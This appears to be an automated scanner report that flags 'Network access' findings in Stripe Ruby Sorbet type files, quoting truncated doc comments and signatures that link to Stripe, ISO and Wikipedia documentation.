# Controls whether the Payment Element displays the option to remove a saved payment method. This parameter defaults to `disabled`. # # Allowing buyers to remove their saved payment methods impacts subscriptions that dep - Network accessline 116
# # Allowing buyers to remove their saved payment methods impacts subscriptions that depend on that payment method. Removing the payment method detaches the [`customer` object](https://docs.stripe.com/api/payment_methods/object#pa - Network accessline 117
# Allowing buyers to remove their saved payment methods impacts subscriptions that depend on that payment method. Removing the payment method detaches the [`customer` object](https://docs.stripe.com/api/payment_methods/object#payment_method - Network accessline 120
# Controls whether the Payment Element displays a checkbox offering to save a new payment method. This parameter defaults to `disabled`. # # If a customer checks the box, the [`allow_redisplay`](https://docs.stripe.com/a - Network accessline 121
# # If a customer checks the box, the [`allow_redisplay`](https://docs.stripe.com/api/payment_methods/object#payment_method_object-allow_redisplay) value on the PaymentMethod is set to `'always'` at confirmation time. For PaymentI - Network accessline 122
# If a customer checks the box, the [`allow_redisplay`](https://docs.stripe.com/api/payment_methods/object#payment_method_object-allow_redisplay) value on the PaymentMethod is set to `'always'` at confirmation time. For PaymentIntents, the - Network accessline 123
sig { returns(String) } def payment_method_save; end # When using PaymentIntents and the customer checks the save checkbox, this field determines the [`setup_future_usage`](https://docs.stripe.com/api/payment_intents/obj - Network accessline 124
def payment_method_save; end # When using PaymentIntents and the customer checks the save checkbox, this field determines the [`setup_future_usage`](https://docs.stripe.com/api/payment_intents/object#payment_intent_object-setup_fu - Network accessline 125
# When using PaymentIntents and the customer checks the save checkbox, this field determines the [`setup_future_usage`](https://docs.stripe.com/api/payment_intents/object#payment_intent_object-setup_future_usage) value used to confirm the P - Network accessline 126
# # When using SetupIntents, directly configure the [`usage`](https://docs.stripe.com/api/setup_intents/object#setup_intent_object-usage) value on SetupIntent creation. sig { returns(T.nilable(String)) } - Network accessline 127
# When using SetupIntents, directly configure the [`usage`](https://docs.stripe.com/api/setup_intents/object#setup_intent_object-usage) value on SetupIntent creation. - Access to secretsline 193
[Credential-related source omitted]
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/resources/discount.rbi
- Network accessline 4
# typed: true module Stripe # A discount represents the actual application of a [coupon](https://api.stripe.com#coupons) or [promotion code](https://api.stripe.com#promotion_codes). - Network accessline 5
module Stripe # A discount represents the actual application of a [coupon](https://api.stripe.com#coupons) or [promotion code](https://api.stripe.com#promotion_codes). # It contains information about when the discount began, when it wil - Network accessline 6
# A discount represents the actual application of a [coupon](https://api.stripe.com#coupons) or [promotion code](https://api.stripe.com#promotion_codes). - Network accessline 7
# It contains information about when the discount began, when it will end, and what it is applied to. # # Related guide: [Applying discounts to subscriptions](https://docs.stripe.com/billing/subscriptions/discounts) - Network accessline 8
# # Related guide: [Applying discounts to subscriptions](https://docs.stripe.com/billing/subscriptions/discounts) class Discount < StripeObject - Network accessline 9
# Related guide: [Applying discounts to subscriptions](https://docs.stripe.com/billing/subscriptions/discounts)
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/resources/dispute.rbi
- Network accessline 8
# evidence that shows that the charge is legitimate. # # Related guide: [Disputes and fraud](https://docs.stripe.com/disputes) - Network accessline 9
# # Related guide: [Disputes and fraud](https://docs.stripe.com/disputes) class Dispute < APIResource - Network accessline 10
# Related guide: [Disputes and fraud](https://docs.stripe.com/disputes) - Network accessline 18
sig { returns(T.nilable(String)) } def city; end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 19
def city; end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). sig { returns(T.nilable(String)) } - Network accessline 20
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 30
sig { returns(T.nilable(String)) } def postal_code; end # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 31
def postal_code; end # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). sig { returns(T.nilable(String)) } - Network accessline 32
# State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 76
sig { returns(T.nilable(String)) } def city; end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 77
def city; end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). sig { returns(T.nilable(String)) } - Network accessline 78
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 88
sig { returns(T.nilable(String)) } def postal_code; end # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 89
def postal_code; end # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). sig { returns(T.nilable(String)) } - Network accessline 90
# State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 178
sig { returns(T.nilable(String)) } def billing_address; end # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Your subscription cancellation policy, as shown to the customer. - Network accessline 179
def billing_address; end # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Your subscription cancellation policy, as shown to the customer. sig { returns(T.nilable(T.any(String, ::Stripe::File))) } - Network accessline 180
# (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Your subscription cancellation policy, as shown to the customer. - Network accessline 187
sig { returns(T.nilable(String)) } def cancellation_rebuttal; end # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Any communication with the customer that you feel is relevant to your case. Examples include - Network accessline 188
def cancellation_rebuttal; end # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Any communication with the customer that you feel is relevant to your case. Examples include emails proving that the customer receive - Network accessline 189
# (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Any communication with the customer that you feel is relevant to your case. Examples include emails proving that the customer received the product or service, or demonstr - Network accessline 199
sig { returns(T.nilable(String)) } def customer_purchase_ip; end # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) A relevant document or contract showing the customer's signature. - Network accessline 200
def customer_purchase_ip; end # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) A relevant document or contract showing the customer's signature. sig { returns(T.nilable(T.any(String, ::Stripe::File))) } - Network accessline 201
# (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) A relevant document or contract showing the customer's signature. - Network accessline 202
sig { returns(T.nilable(T.any(String, ::Stripe::File))) } def customer_signature; end # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Documentation for the prior charge that can uniquely identify the charge - Network accessline 203
def customer_signature; end # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Documentation for the prior charge that can uniquely identify the charge, such as a receipt, shipping label, work order, etc. This docum - Network accessline 204
# (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Documentation for the prior charge that can uniquely identify the charge, such as a receipt, shipping label, work order, etc. This document should be paired with a simila - Network accessline 217
sig { returns(T.nilable(String)) } def product_description; end # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Any receipt or message sent to the customer notifying them of the charge. - Network accessline 218
def product_description; end # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Any receipt or message sent to the customer notifying them of the charge. sig { returns(T.nilable(T.any(String, ::Stripe::File))) - Network accessline 219
# (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Any receipt or message sent to the customer notifying them of the charge. - Network accessline 220
sig { returns(T.nilable(T.any(String, ::Stripe::File))) } def receipt; end # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Your refund policy, as shown to the customer. - Network accessline 221
def receipt; end # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Your refund policy, as shown to the customer. sig { returns(T.nilable(T.any(String, ::Stripe::File))) } - Network accessline 222
# (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Your refund policy, as shown to the customer. - Network accessline 232
sig { returns(T.nilable(String)) } def service_date; end # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Documentation showing proof that a service was provided to the customer. This could include a copy of - Network accessline 233
def service_date; end # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Documentation showing proof that a service was provided to the customer. This could include a copy of a signed contract, work order, or other - Network accessline 234
# (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Documentation showing proof that a service was provided to the customer. This could include a copy of a signed contract, work order, or other form of written agreement. - Network accessline 244
sig { returns(T.nilable(String)) } def shipping_date; end # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Documentation showing proof that a product was shipped to the customer at the same address the custo - Network accessline 245
def shipping_date; end # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Documentation showing proof that a product was shipped to the customer at the same address the customer provided to you. This could include a - Network accessline 246
# (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Documentation showing proof that a product was shipped to the customer at the same address the customer provided to you. This could include a copy of the shipment receipt - Network accessline 250
sig { returns(T.nilable(String)) } def shipping_tracking_number; end # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Any additional evidence or statements. - Network accessline 251
def shipping_tracking_number; end # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Any additional evidence or statements. sig { returns(T.nilable(T.any(String, ::Stripe::File))) } - Network accessline 252
# (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Any additional evidence or statements. - Network accessline 347
sig { returns(String) } def case_type; end # The card network's specific dispute reason code, which maps to one of Stripe's primary dispute categories to simplify response guidance. The [Network code map](https://stripe.com/ - Network accessline 348
def case_type; end # The card network's specific dispute reason code, which maps to one of Stripe's primary dispute categories to simplify response guidance. The [Network code map](https://stripe.com/docs/disputes/categories#network - Network accessline 349
# The card network's specific dispute reason code, which maps to one of Stripe's primary dispute categories to simplify response guidance. The [Network code map](https://stripe.com/docs/disputes/categories#network-code-map) lists all availa - Network accessline 419
sig { returns(Integer) } def created; end # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 420
def created; end # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). sig { returns(String) } - Network accessline 421
# Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 440
sig { returns(T::Boolean) } def livemode; end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured - Network accessline 441
def livemode; end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. sig { returns(T::Has - Network accessline 442
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. - Network accessline 455
sig { returns(T.nilable(PaymentMethodDetails)) } def payment_method_details; end # Reason given by cardholder for dispute. Possible values are `bank_cannot_process`, `check_returned`, `credit_not_processed`, `customer_initiated`, `d - Network accessline 456
def payment_method_details; end # Reason given by cardholder for dispute. Possible values are `bank_cannot_process`, `check_returned`, `credit_not_processed`, `customer_initiated`, `debit_not_authorized`, `duplicate`, `fraudulent`, `gen - Network accessline 457
# Reason given by cardholder for dispute. Possible values are `bank_cannot_process`, `check_returned`, `credit_not_processed`, `customer_initiated`, `debit_not_authorized`, `duplicate`, `fraudulent`, `general`, `incorrect_account_details`, - Network accessline 485
# When you get a dispute, contacting your customer is always the best first step. If that doesn't work, you can submit evidence to help us resolve the dispute in your favor. You can do this in your [dashboard](https://dashboard.stripe.com/d - Network accessline 486
# # Depending on your dispute type, different evidence fields will give you a better chance of winning your dispute. To figure out which evidence fields to provide, see our [guide to dispute types](https://docs.stripe.com/docs/disputes/ - Network accessline 487
# Depending on your dispute type, different evidence fields will give you a better chance of winning your dispute. To figure out which evidence fields to provide, see our [guide to dispute types](https://docs.stripe.com/docs/disputes/catego
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/resources/entitlements/active_entitlement.rbi
- Network accessline 7
# An active entitlement describes access to a feature for a customer. class ActiveEntitlement < APIResource # The [Feature](https://docs.stripe.com/api/entitlements/feature) that the customer is entitled to. - Network accessline 8
class ActiveEntitlement < APIResource # The [Feature](https://docs.stripe.com/api/entitlements/feature) that the customer is entitled to. sig { returns(T.any(String, ::Stripe::Entitlements::Feature)) } - Network accessline 9
# The [Feature](https://docs.stripe.com/api/entitlements/feature) that the customer is entitled to.
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/resources/event.rbi
- Network accessline 16
# a list of events from the API. # # [Connect](https://docs.stripe.com/connect) platforms can also receive event notifications - Network accessline 17
# # [Connect](https://docs.stripe.com/connect) platforms can also receive event notifications # that occur in their connected accounts. These events include an account attribute that - Network accessline 18
# [Connect](https://docs.stripe.com/connect) platforms can also receive event notifications - Network accessline 20
# identifies the relevant connected account. # # You can access events through the [Retrieve Event API](https://docs.stripe.com/api/events#retrieve_event) - Network accessline 21
# # You can access events through the [Retrieve Event API](https://docs.stripe.com/api/events#retrieve_event) # for 30 days. - Network accessline 22
# You can access events through the [Retrieve Event API](https://docs.stripe.com/api/events#retrieve_event) - Network accessline 24
class Event < APIResource class Data < ::Stripe::StripeObject # Object containing the API resource relevant to the event. For example, an `invoice.created` event will have a full [invoice object](https://api.stripe.com#invoice_obj - Network accessline 25
class Data < ::Stripe::StripeObject # Object containing the API resource relevant to the event. For example, an `invoice.created` event will have a full [invoice object](https://api.stripe.com#invoice_object) as the value of the objec - Network accessline 26
# Object containing the API resource relevant to the event. For example, an `invoice.created` event will have a full [invoice object](https://api.stripe.com#invoice_object) as the value of the object key. - Network accessline 38
end class Request < ::Stripe::StripeObject # ID of the API request that caused the event. If null, the event was automatic (e.g., Stripe's automatic subscription handling). Request logs are available in the [dashboard](https://das - Network accessline 39
class Request < ::Stripe::StripeObject # ID of the API request that caused the event. If null, the event was automatic (e.g., Stripe's automatic subscription handling). Request logs are available in the [dashboard](https://dashboard.s - Network accessline 40
# ID of the API request that caused the event. If null, the event was automatic (e.g., Stripe's automatic subscription handling). Request logs are available in the [dashboard](https://dashboard.stripe.com/logs), but currently not in the API - Network accessline 84
sig { returns(String) } def type; end # List events, going back up to 30 days. Each event data is rendered according to Stripe API version at its creation time, specified in [event object](https://docs.stripe.com/api/events/object) - Network accessline 85
def type; end # List events, going back up to 30 days. Each event data is rendered according to Stripe API version at its creation time, specified in [event object](https://docs.stripe.com/api/events/object) api_version attribute (not a - Network accessline 86
# List events, going back up to 30 days. Each event data is rendered according to Stripe API version at its creation time, specified in [event object](https://docs.stripe.com/api/events/object) api_version attribute (not according to your c
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/resources/exchange_rate.rbi
- Network accessline 4
# typed: true module Stripe # [Deprecated] The `ExchangeRate` APIs are deprecated. Please use the [FX Quotes API](https://docs.stripe.com/payments/currencies/localize-prices/fx-quotes-api) instead. - Network accessline 5
module Stripe # [Deprecated] The `ExchangeRate` APIs are deprecated. Please use the [FX Quotes API](https://docs.stripe.com/payments/currencies/localize-prices/fx-quotes-api) instead. # - Network accessline 6
# [Deprecated] The `ExchangeRate` APIs are deprecated. Please use the [FX Quotes API](https://docs.stripe.com/payments/currencies/localize-prices/fx-quotes-api) instead. - Network accessline 12
# payment in a foreign currency). # # Please refer to our [Exchange Rates API](https://docs.stripe.com/fx-rates) guide for more details. - Network accessline 13
# # Please refer to our [Exchange Rates API](https://docs.stripe.com/fx-rates) guide for more details. # - Network accessline 14
# Please refer to our [Exchange Rates API](https://docs.stripe.com/fx-rates) guide for more details. - Network accessline 18
# current. To do so, you must pass in the exchange_rate to charges endpoints. If the # value is no longer up to date, the charge won't go through. Please refer to our # [Using with charges](https://docs.stripe.com/exchange-rates) guide - Network accessline 19
# value is no longer up to date, the charge won't go through. Please refer to our # [Using with charges](https://docs.stripe.com/exchange-rates) guide for more details. # - Network accessline 20
# [Using with charges](https://docs.stripe.com/exchange-rates) guide for more details. - Network accessline 33
# *Using this Exchange Rates API beta for any purpose other than to transact on Stripe is strictly prohibited and constitutes a violation of Stripe's terms of service.* class ExchangeRate < APIResource # Unique identifier for the obje - Network accessline 34
class ExchangeRate < APIResource # Unique identifier for the object. Represented as the three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html) in lowercase. sig { returns(String) } - Network accessline 35
# Unique identifier for the object. Represented as the three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html) in lowercase. - Network accessline 42
sig { returns(T::Hash[String, Float]) } def rates; end # [Deprecated] The ExchangeRate APIs are deprecated. Please use the [FX Quotes API](https://docs.stripe.com/payments/currencies/localize-prices/fx-quotes-api) instead. - Network accessline 43
def rates; end # [Deprecated] The ExchangeRate APIs are deprecated. Please use the [FX Quotes API](https://docs.stripe.com/payments/currencies/localize-prices/fx-quotes-api) instead. # - Network accessline 44
# [Deprecated] The ExchangeRate APIs are deprecated. Please use the [FX Quotes API](https://docs.stripe.com/payments/currencies/localize-prices/fx-quotes-api) instead.
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/resources/file.rbi
- Network accessline 5
module Stripe # This object represents files hosted on Stripe's servers. You can upload # files with the [create file](https://api.stripe.com#create_file) request - Network accessline 6
# This object represents files hosted on Stripe's servers. You can upload # files with the [create file](https://api.stripe.com#create_file) request # (for example, when uploading dispute evidence). Stripe also - Network accessline 7
# files with the [create file](https://api.stripe.com#create_file) request - Network accessline 8
# (for example, when uploading dispute evidence). Stripe also # creates files independently (for example, the results of a [Sigma scheduled # query](https://docs.stripe.com/api#scheduled_queries)). - Network accessline 9
# creates files independently (for example, the results of a [Sigma scheduled # query](https://docs.stripe.com/api#scheduled_queries)). # - Network accessline 10
# query](https://docs.stripe.com/api#scheduled_queries)). - Network accessline 11
# # Related guide: [File upload guide](https://docs.stripe.com/file-upload) class File < APIResource - Network accessline 12
# Related guide: [File upload guide](https://docs.stripe.com/file-upload) - Network accessline 24
sig { returns(String) } def id; end # A list of [file links](https://api.stripe.com#file_links) that point at this file. - Network accessline 25
def id; end # A list of [file links](https://api.stripe.com#file_links) that point at this file. sig { returns(T.nilable(::Stripe::ListObject)) } - Network accessline 26
# A list of [file links](https://api.stripe.com#file_links) that point at this file. - Network accessline 30
sig { returns(String) } def object; end # The [purpose](https://docs.stripe.com/file-upload#uploading-a-file) of the uploaded file. - Network accessline 31
def object; end # The [purpose](https://docs.stripe.com/file-upload#uploading-a-file) of the uploaded file. sig { returns(String) } - Network accessline 32
# The [purpose](https://docs.stripe.com/file-upload#uploading-a-file) of the uploaded file.
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/resources/file_link.rbi
- Network accessline 26
sig { returns(T::Boolean) } def livemode; end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured - Network accessline 27
def livemode; end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. sig { returns(T::Has - Network accessline 28
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format.
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/resources/financial_connections/account.rbi
- Network accessline 51
# The funds available to the account holder. Typically this is the current balance after subtracting any outbound pending transactions and adding any inbound pending transactions. # # Each key is a three-letter [ISO curr - Network accessline 52
# # Each key is a three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. # - Network accessline 53
# Each key is a three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. - Network accessline 66
# The credit that has been used by the account holder. # # Each key is a three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. - Network accessline 67
# # Each key is a three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. # - Network accessline 68
# Each key is a three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. - Network accessline 89
# The balances owed to (or by) the account holder, before subtracting any outbound pending transactions or adding any inbound pending transactions. # # Each key is a three-letter [ISO currency code](https://www.iso.org/iso-4 - Network accessline 90
# # Each key is a three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. # - Network accessline 91
# Each key is a three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. - Network accessline 225
sig { returns(T.nilable(T::Array[String])) } def subscriptions; end # The [PaymentMethod type](https://docs.stripe.com/api/payment_methods/object#payment_method_object-type)(s) that can be created from this account. - Network accessline 226
def subscriptions; end # The [PaymentMethod type](https://docs.stripe.com/api/payment_methods/object#payment_method_object-type)(s) that can be created from this account. sig { returns(T::Array[String]) } - Network accessline 227
# The [PaymentMethod type](https://docs.stripe.com/api/payment_methods/object#payment_method_object-type)(s) that can be created from this account.
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/resources/financial_connections/session.rbi
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/resources/financial_connections/transaction.rbi
- Network accessline 27
sig { returns(Integer) } def amount; end # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 28
def amount; end # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). sig { returns(String) } - Network accessline 29
# Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/resources/forwarding/request.rbi
- Network accessline 20
# Stripe's limits. # # Related guide: [Forward card details to third-party API endpoints](https://docs.stripe.com/payments/forwarding). - Network accessline 21
# # Related guide: [Forward card details to third-party API endpoints](https://docs.stripe.com/payments/forwarding). class Request < APIResource - Network accessline 22
# Related guide: [Forward card details to third-party API endpoints](https://docs.stripe.com/payments/forwarding). - Network accessline 107
sig { returns(T::Boolean) } def livemode; end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structu - Network accessline 108
def livemode; end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. sig { returns(T. - Network accessline 109
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format.
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/resources/funding_instructions.rbi
- Network accessline 4
# typed: true module Stripe # Each customer has a [`balance`](https://docs.stripe.com/api/customers/object#customer_object-balance) that is - Network accessline 5
module Stripe # Each customer has a [`balance`](https://docs.stripe.com/api/customers/object#customer_object-balance) that is # automatically applied to future invoices and payments using the `customer_balance` payment method. - Network accessline 6
# Each customer has a [`balance`](https://docs.stripe.com/api/customers/object#customer_object-balance) that is - Network accessline 8
# Customers can fund this balance by initiating a bank transfer to any account in the # `financial_addresses` field. # Related guide: [Customer balance funding instructions](https://docs.stripe.com/payments/customer-balance/funding-inst - Network accessline 9
# `financial_addresses` field. # Related guide: [Customer balance funding instructions](https://docs.stripe.com/payments/customer-balance/funding-instructions) class FundingInstructions < APIResource - Network accessline 10
# Related guide: [Customer balance funding instructions](https://docs.stripe.com/payments/customer-balance/funding-instructions) - Network accessline 17
sig { returns(T.nilable(String)) } def city; end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 18
def city; end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). sig { returns(T.nilable(String)) } - Network accessline 19
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 29
sig { returns(T.nilable(String)) } def postal_code; end # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 30
def postal_code; end # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). sig { returns(T.nilable(String)) } - Network accessline 31
# State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 43
sig { returns(T.nilable(String)) } def city; end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 44
def city; end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). sig { returns(T.nilable(String)) } - Network accessline 45
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 55
sig { returns(T.nilable(String)) } def postal_code; end # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 56
def postal_code; end # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). sig { returns(T.nilable(String)) } - Network accessline 57
# State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 101
sig { returns(T.nilable(String)) } def city; end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 102
def city; end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). sig { returns(T.nilable(String)) } - Network accessline 103
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 113
sig { returns(T.nilable(String)) } def postal_code; end # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 114
def postal_code; end # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). sig { returns(T.nilable(String)) } - Network accessline 115
# State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 127
sig { returns(T.nilable(String)) } def city; end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 128
def city; end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). sig { returns(T.nilable(String)) } - Network accessline 129
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 139
sig { returns(T.nilable(String)) } def postal_code; end # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 140
def postal_code; end # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). sig { returns(T.nilable(String)) } - Network accessline 141
# State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 161
sig { returns(String) } def bic; end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 162
def bic; end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). sig { returns(String) } - Network accessline 163
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 182
sig { returns(T.nilable(String)) } def city; end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 183
def city; end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). sig { returns(T.nilable(String)) } - Network accessline 184
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 194
sig { returns(T.nilable(String)) } def postal_code; end # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 195
def postal_code; end # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). sig { returns(T.nilable(String)) } - Network accessline 196
# State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 208
sig { returns(T.nilable(String)) } def city; end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 209
def city; end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). sig { returns(T.nilable(String)) } - Network accessline 210
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 220
sig { returns(T.nilable(String)) } def postal_code; end # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 221
def postal_code; end # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). sig { returns(T.nilable(String)) } - Network accessline 222
# State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 260
sig { returns(T.nilable(String)) } def city; end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 261
